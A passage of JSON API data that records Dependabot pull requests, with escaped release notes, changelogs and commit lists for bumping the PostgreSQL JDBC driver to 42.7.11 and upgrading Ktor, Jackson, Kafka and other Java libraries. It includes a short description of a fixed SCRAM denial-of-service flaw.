Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.8...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=gradle\u0026previous-version=42.7.8\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/AuraBootTeam/auraboot/pull/402","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/AuraBootTeam%2Fauraboot/issues/402","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/402/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-06-02T23:24:40.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4575662305","node_id":"PR_kwDONVAhjM7iAThZ","number":642,"state":"closed","title":"Bump the minor group across 1 directory with 19 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-04T02:18:45.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-02T23:24:40.000Z","updated_at":"2026-06-04T02:18:47.000Z","time_to_close":96845,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor","update_count":19,"packages":[{"name":"io.ktor:ktor-http-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-call-logging","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"io.ktor.plugin","old_version":"3.4.3","new_version":"3.5.0"},{"name":"com.gradleup.shadow","old_version":"9.4.1","new_version":"9.4.2","repository_url":"https://github.com/GradleUp/shadow"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"io.mockk:mockk","old_version":"1.14.9","new_version":"1.14.11","repository_url":"https://github.com/mockk/mockk"},{"name":"org.apache.kafka:kafka-clients","old_version":"4.2.0","new_version":"4.3.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.4.0","new_version":"12.7.0"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.4","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.4"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor group with 19 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-http-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-call-logging](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| io.ktor.plugin | `3.4.3` | `3.5.0` |\n| [com.gradleup.shadow](https://github.com/GradleUp/shadow) | `9.4.1` | `9.4.2` |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.9` | `1.14.11` |\n| org.apache.kafka:kafka-clients | `4.2.0` | `4.3.0` |\n| org.flywaydb:flyway-database-postgresql | `12.4.0` | `12.7.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.4` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.4` |\n\n\nUpdates `io.ktor:ktor-http-jvm` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-http-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca 